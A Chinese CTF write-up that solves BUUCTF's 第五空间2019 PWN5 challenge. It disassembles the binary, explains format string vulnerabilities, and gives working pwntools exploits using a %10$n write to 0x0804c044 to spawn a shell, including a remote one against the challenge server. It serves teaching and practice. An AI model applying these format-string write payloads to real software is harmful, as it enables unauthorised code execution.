BUUCTF-[第五空间2019 决赛]PWN5详解

BUUCTF-[第五空间2019 决赛]PWN5

一、题目来源

BUUCTF-pwn-[第五空间2019 决赛]PWN5

二、 信息搜集

将题目给的二进制文件丢入到Linux虚拟机中

使用命令file查看文件类型:

使用命令checksec查看文件的保护措施:

给文件赋值执行权限,然后运行看一下大致效果

三、反编译文件开始分析

将二进制文件丢入到32位的Ida中进行反编译

1、初步分析

直接看到mian函数:

.text:080491F2 ; int __cdecl main(int, char **, char **)
.text:080491F2 main            proc near               ; DATA XREF: start+26↑o
.text:080491F2
.text:080491F2 fd              = dword ptr -84h
.text:080491F2 nptr            = byte ptr -80h
.text:080491F2 buf             = byte ptr -70h
.text:080491F2 var_C           = dword ptr -0Ch
.text:080491F2 anonymous_0     = dword ptr -8
.text:080491F2
.text:080491F2 ; __unwind {
.text:080491F2                 lea     ecx, [esp+4]
.text:080491F6                 and     esp, 0FFFFFFF0h
.text:080491F9                 push    dword ptr [ecx-4]
.text:080491FC                 push    ebp
.text:080491FD                 mov     ebp, esp
.text:080491FF                 push    ebx
.text:08049200                 push    ecx
.text:08049201                 add     esp, 0FFFFFF80h
.text:08049204                 call    sub_8049130
.text:08049209                 add     ebx, 2DF7h
.text:0804920F                 mov     eax, large gs:14h
.text:08049215                 mov     [ebp+var_C], eax
.text:08049218                 xor     eax, eax
.text:0804921A                 mov     eax, ds:(stdout_ptr - 804C000h)[ebx]
.text:08049220                 mov     eax, [eax]
.text:08049222                 push    0               ; n
.text:08049224                 push    2               ; modes
.text:08049226                 push    0               ; buf
.text:08049228                 push    eax             ; stream
.text:08049229                 call    _setvbuf
.text:0804922E                 add     esp, 10h
.text:08049231                 sub     esp, 0Ch
.text:08049234                 push    0               ; timer
.text:08049236                 call    _time
.text:0804923B                 add     esp, 10h
.text:0804923E                 sub     esp, 0Ch
.text:08049241                 push    eax             ; seed
.text:08049242                 call    _srand
.text:08049247                 add     esp, 10h
.text:0804924A                 sub     esp, 8
.text:0804924D                 push    0               ; oflag
.text:0804924F                 lea     eax, (aDevUrandom - 804C000h)[ebx] ; "/dev/urandom"
.text:08049255                 push    eax             ; file
.text:08049256                 call    _open
.text:0804925B                 add     esp, 10h
.text:0804925E                 mov     [ebp+fd], eax
.text:08049264                 sub     esp, 4
.text:08049267                 push    4               ; nbytes
.text:08049269                 mov     eax, offset unk_804C044
.text:0804926F                 push    eax             ; buf
.text:08049270                 push    [ebp+fd]        ; fd
.text:08049276                 call    _read
.text:0804927B                 add     esp, 10h
.text:0804927E                 sub     esp, 0Ch
.text:08049281                 lea     eax, (aYourName - 804C000h)[ebx] ; "your name:"
.text:08049287                 push    eax             ; format
.text:08049288                 call    _printf
.text:0804928D                 add     esp, 10h
.text:08049290                 sub     esp, 4
.text:08049293                 push    63h             ; nbytes
.text:08049295                 lea     eax, [ebp+buf]
.text:08049298                 push    eax             ; buf
.text:08049299                 push    0               ; fd
.text:0804929B                 call    _read
.text:080492A0                 add     esp, 10h
.text:080492A3                 sub     esp, 0Ch
.text:080492A6                 lea     eax, (aHello - 804C000h)[ebx] ; "Hello,"
.text:080492AC                 push    eax             ; format
.text:080492AD                 call    _printf
.text:080492B2                 add     esp, 10h
.text:080492B5                 sub     esp, 0Ch
.text:080492B8                 lea     eax, [ebp+buf]
.text:080492BB                 push    eax             ; format
.text:080492BC                 call    _printf
.text:080492C1                 add     esp, 10h
.text:080492C4                 sub     esp, 0Ch
.text:080492C7                 lea     eax, (aYourPasswd - 804C000h)[ebx] ; "your passwd:"
.text:080492CD                 push    eax             ; format
.text:080492CE                 call    _printf
.text:080492D3                 add     esp, 10h
.text:080492D6                 sub     esp, 4
.text:080492D9                 push    0Fh             ; nbytes
.text:080492DB                 lea     eax, [ebp+nptr]
.text:080492DE                 push    eax             ; buf
.text:080492DF                 push    0               ; fd
.text:080492E1                 call    _read
.text:080492E6                 add     esp, 10h
.text:080492E9                 sub     esp, 0Ch
.text:080492EC                 lea     eax, [ebp+nptr]
.text:080492EF                 push    eax             ; nptr
.text:080492F0                 call    _atoi
.text:080492F5                 add     esp, 10h
.text:080492F8                 mov     edx, eax
.text:080492FA                 mov     eax, offset unk_804C044
.text:08049300                 mov     eax, [eax]
.text:08049302                 cmp     edx, eax
.text:08049304                 jz      short loc_804931A
.text:08049306                 sub     esp, 0Ch
.text:08049309                 lea     eax, (aFail - 804C000h)[ebx] ; "fail"
.text:0804930F                 push    eax             ; s
.text:08049310                 call    _puts
.text:08049315                 add     esp, 10h
.text:08049318                 jmp     short loc_804933E
.text:0804931A ; ---------------------------------------------------------------------------
.text:0804931A
.text:0804931A loc_804931A:                            ; CODE XREF: main+112↑j
.text:0804931A                 sub     esp, 0Ch
.text:0804931D                 lea     eax, (aOk - 804C000h)[ebx] ; "ok!!"
.text:08049323                 push    eax             ; s
.text:08049324                 call    _puts
.text:08049329                 add     esp, 10h
.text:0804932C                 sub     esp, 0Ch
.text:0804932F                 lea     eax, (aBinSh - 804C000h)[ebx] ; "/bin/sh"
.text:08049335                 push    eax             ; command
.text:08049336                 call    _system
.text:0804933B                 add     esp, 10h
.text:0804933E
.text:0804933E loc_804933E:                            ; CODE XREF: main+126↑j
.text:0804933E                 mov     eax, 0
.text:08049343                 mov     ecx, [ebp+var_C]
.text:08049346                 xor     ecx, large gs:14h
.text:0804934D                 jz      short loc_8049354
.text:0804934F                 call    sub_80493D0
.text:08049354 ; ---------------------------------------------------------------------------
.text:08049354
.text:08049354 loc_8049354:                            ; CODE XREF: main+15B↑j
.text:08049354                 lea     esp, [ebp-8]
.text:08049357                 pop     ecx
.text:08049358                 pop     ebx
.text:08049359                 pop     ebp
.text:0804935A                 lea     esp, [ecx-4]
.text:0804935D                 retn
.text:0804935D ; } // starts at 80491F2
.text:0804935D main            endp

发现目标非常简单,就是使得条件跳转指令成立然后跳转到含有system("/bin/sh")的位置就可以getshell了

那么接下来就是分析条件判断语句成立的条件

cmp     edx, eax
jz      short loc_804931A

即比较edx和eax中的值,如果相等就跳转

根据:

.text:080492E6                 add     esp, 10h
.text:080492E9                 sub     esp, 0Ch
.text:080492EC                 lea     eax, [ebp+nptr]
.text:080492EF                 push    eax             ; nptr
.text:080492F0                 call    _atoi
.text:080492F5                 add     esp, 10h
.text:080492F8                 mov     edx, eax
.text:080492FA                 mov     eax, offset unk_804C044
.text:08049300                 mov     eax, [eax]
.text:08049302                 cmp     edx, eax
.text:08049304                 jz      short loc_804931A

这几行代码就可以分析出:

edx来自atoi函数返回值;eax来自全局变量unk_804C044

先来分析atoi的返回值是什么,看代码:

.text:080492D3                 add     esp, 10h
.text:080492D6                 sub     esp, 4
.text:080492D9                 push    0Fh             ; nbytes
.text:080492DB                 lea     eax, [ebp+nptr]
.text:080492DE                 push    eax             ; buf
.text:080492DF                 push    0               ; fd
.text:080492E1                 call    _read
.text:080492E6                 add     esp, 10h
.text:080492E9                 sub     esp, 0Ch
.text:080492EC                 lea     eax, [ebp+nptr]
.text:080492EF                 push    eax             ; nptr
.text:080492F0                 call    _atoi

可以发现atoi的参数来自于之前read获取的用户输入

再来分析全局变量unk_804C044中存了啥,看代码:

.text:0804925B                 add     esp, 10h
.text:0804925E                 mov     [ebp+fd], eax
.text:08049264                 sub     esp, 4
.text:08049267                 push    4               ; nbytes
.text:08049269                 mov     eax, offset unk_804C044
.text:0804926F                 push    eax             ; buf
.text:08049270                 push    [ebp+fd]        ; fd
.text:08049276                 call    _read

在前面的read函数接受用户输入存入到了全局变量unk_804C044当中

回想之前“信息搜集”部分运行过的代码,程序也让我们输入了两次数据,是不是这两次数据相等就可以了呢?

答案是否定的

2、问题出现

问题出现了,我们在“信息搜集”的部分运行过该程序,程序的确让我们输入了两次内容(name、password)

但是在main函数中,我们却发现了三个read,而输入的name和password分别对应的是第二、第三个read

然而,我们比较的是第一个read输入的数据和第三个read输入的数据

第一个read,看代码:

.text:08049247                 add     esp, 10h
.text:0804924A                 sub     esp, 8
.text:0804924D                 push    0               ; oflag
.text:0804924F                 lea     eax, (aDevUrandom - 804C000h)[ebx] ; "/dev/urandom"
.text:08049255                 push    eax             ; file
.text:08049256                 call    _open
.text:0804925B                 add     esp, 10h
.text:0804925E                 mov     [ebp+fd], eax
.text:08049264                 sub     esp, 4
.text:08049267                 push    4               ; nbytes
.text:08049269                 mov     eax, offset unk_804C044
.text:0804926F                 push    eax             ; buf
.text:08049270                 push    [ebp+fd]        ; fd
.text:08049276                 call    _read

可以看得出来读取的是一个文件数据,文件我们控制不了也就意味着全局变量unk_804C044的值我们未知

那么要如何使得eax和edx值相等呢?

3、问题分析

目前我们可控的就是edx,其值:

edx = atoi(通过第三个read获取的用户输入数据)

atoi函数会把其参数所指向的字符串转换为一个整数(类型为int型)

例子:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
​
int main()
{
   int val;
   char str[20];
   
   strcpy(str, "98993489");
   val = atoi(str);
   printf("字符串值 = %s, 整型值 = %d\n", str, val);
​
   strcpy(str, "runoob.com");
   val = atoi(str);
   printf("字符串值 = %s, 整型值 = %d\n", str, val);
​
   return(0);
}

结果:

字符串值 = 98993489, 整型值 = 98993489
字符串值 = runoob.com, 整型值 = 0

但是eax的值来自全局变量,经过我们之前分析知道它是未知的状态

所以,要么泄露全局变量的值,要么修改全局变量的值变成已知的状态

4、格式化字符串漏洞

其实在“信息搜集”部分运行程序的时候,就可以注意到

它提示我们“your name:”然后接受我们输入,我们输入完成后就会打印“your name:你输入的内容”

在汇编代码中找到这部分的逻辑:

.text:080492A0                 add     esp, 10h
.text:080492A3                 sub     esp, 0Ch
.text:080492A6                 lea     eax, (aHello - 804C000h)[ebx] ; "Hello,"
.text:080492AC                 push    eax             ; format
.text:080492AD                 call    _printf
.text:080492B2                 add     esp, 10h
.text:080492B5                 sub     esp, 0Ch
.text:080492B8                 lea     eax, [ebp+buf]
.text:080492BB                 push    eax             ; format
.text:080492BC                 call    _printf

知道格式化字符串漏洞的人已经发现端倪了,那么什么是格式化漏洞呢?

格式化字符串漏洞(Format String Vulnerability)是指:程序在调用格式化输出函数时,没有使用固定格式字符串,而是直接使用用户输入作为格式化模板,导致攻击者可以控制格式化行为,从而实现信息泄露或任意地址读写

在c/c++中常见的格式化函数

函数说明
printf()向标准输出打印格式化内容
fprintf()向指定文件流输出
sprintf()输出到字符串
snprintf()输出到字符串,带长度限制

正常使用vs漏洞使用

正确用法:

char name[100];
scanf("%s", name);
printf("Hello, %s\n", name);  // 使用固定格式字符串

错误用法(漏洞):

char name[100];
scanf("%s", name);
printf(name);  // 直接使用用户输入作为格式串

攻击者可以输入:

%x %x %x %x

程序会误以为你在栈上提供了四个参数(实则并没有),因此会从当前函数的栈帧中连续取出4个4 字节/8字节值并打印

值得注意的是:

在64位程序中,函数的前六个参数是通过寄存器传的,只有到第七个参数之后才是通过栈来传

所以,在64位的程序之中,如果要泄露栈信息等操作的化,需要定位到第7个参数及其之后,比如%7$x

格式控制符及其作用(攻击核心)

格式符含义危险性
%x输出一个4/8字节十六进制值(从栈上读)信息泄露
%s把栈上的值当作地址,输出该地址处的字符串任意地址读
%p输出一个指针地址地址泄露
%n将当前输出的字符数写入到栈上的地址任意地址写(极危险)

高阶用法:

%7$x表示取第七个参数,打印为十六进制值

简单来说就是对第七个参数做%x的操作

%7$s表示取第七个参数,把其当成地址,输出该地址处的字符串

以此类推……

当然,我们也会常见到类似于%7$sAAAA的写法,在后面加上AAAA的目的是为了“对齐”

在64位的程序中,%7$s只是占据了4B,而地址能存放8B数据,因此添加上AAAA能够完成“对齐”操作,使得后续payload不会与之粘连导致运行失败

在了解格式化字符串漏洞之后,是不是对之前截出来的代码有了更深刻的理解?

.text:080492B2                 add     esp, 10h
.text:080492B5                 sub     esp, 0Ch
.text:080492B8                 lea     eax, [ebp+buf]
.text:080492BB                 push    eax             ; format
.text:080492BC                 call    _printf

格式化函数未固定格式化字符串而是直接将用户输入作为格式化字符串

导致攻击者可以利用输入格式控制符来达成其目的

四、构造Poc

还记得我们刚刚的目标吗:要么泄露全局变量的值,要么修改全局变量的值

在格式化字符串中泄露使用%x、写值使用%n

但是在这题中,明显泄露的思路不行,因为全局变量的位置(.bss)通常在比较低的地址,但是printf所在的栈的位置通常比较高,无法向下(往低地址)溢出数据,所以本题采用的思路是“修改全局变量的值”

%n会把当前已经输出的字符数写入到对应的参数指向的地址中

举个例子:

int a;
printf("Hello%nWorld", &a);
  • 程序先打印"Hello",此时输出了5个字符

  • %n就会把数字5写入变量a中

  • 接着打印"World"

最终:a == 5

我们最终的目标就是写入全局变量unk_804C044当中,在ida中找到他的位置

.bss:0804C044 unk_804C044     db    ? ;               ; DATA XREF: main+77↑o

所以payload如下:

payload = p32(0x0804C044) + b'%n'

但是很明显,这样的payload是不完善的,因为我们这么写"%n"就意味着栈顶元素就必须是p32(0x0804C044)

请仔细观察,我们输入payload的地方是read函数,而利用格式化字符串漏洞的地方是printf函数,他们中间可能有其他的输入压入栈中,我们就不能确定我们的payload所处的栈的位置

所以要试探偏移量,可以利用%x,因为%x可以将栈顶中的数据以十六进制的方式打印出来,我们只要看到我们构造的payload输出了,就可以确定位置了

构造payload:

payload = p32(random_var_addr) + b'%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x'

完成Poc:

from pwn import *
​
p = process('./pwn')
​
payload = p32(0x0804c044) + b'%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x'
p.sendlineafter('your name:', payload)
p.interactive()

测试:

可以发现我们的payload在第十个

那么接下来就可以构造getshell的poc了

from pwn import *
​
p = process('./pwn')
​
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.interactive()

接下来确定一下密码部分

我们要让edx和eax相等,eax已经被我们赋值成了4,所以在输入密码的时候输入4即可使等式成立

根据之前的分析,成立后跳转到system("/bin/sh")即可getshell

为什么eax=4?

因为此时相当于printf(0x0804c044%10$n)

那么在%10$n之前只有p32(0x0804c044)输出,其字符数为4字节

而%10$n代表对第十个参数使用%n,刚好p32(0x0804c044)就是第十个参数

所以根据%n的作用,地址0x0804c044中的内容就会被写为4,即全局变量unk_804C044的值变成了4

根据之前的分析,eax的值来源于全局变量unk_804C044,因此eax=4

运行:

成功获得本地shell

远程Poc

from pwn import *
​
p = remote('node5.buuoj.cn',28580)
​
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.interactive()

运行:

成功拿下flag

五、优化Poc

刚刚的Poc还有手动操作的部分,我们其实还可以让Poc更自动化

from pwn import *
​
p = process('./pwn')
​
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
p.sendlineafter('your passwd',b'4')
p.interactive()

或者:

from pwn import *
​
p = process('./pwn')
​
payload = p32(0x0804c044) + b'%10$n'
p.sendlineafter('your name:', payload)
line = p.recvuntil('your passwd:')
p.sendline(b'4')
p.interactive()

运行:

同样getshell且更自动化且界面更简洁

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值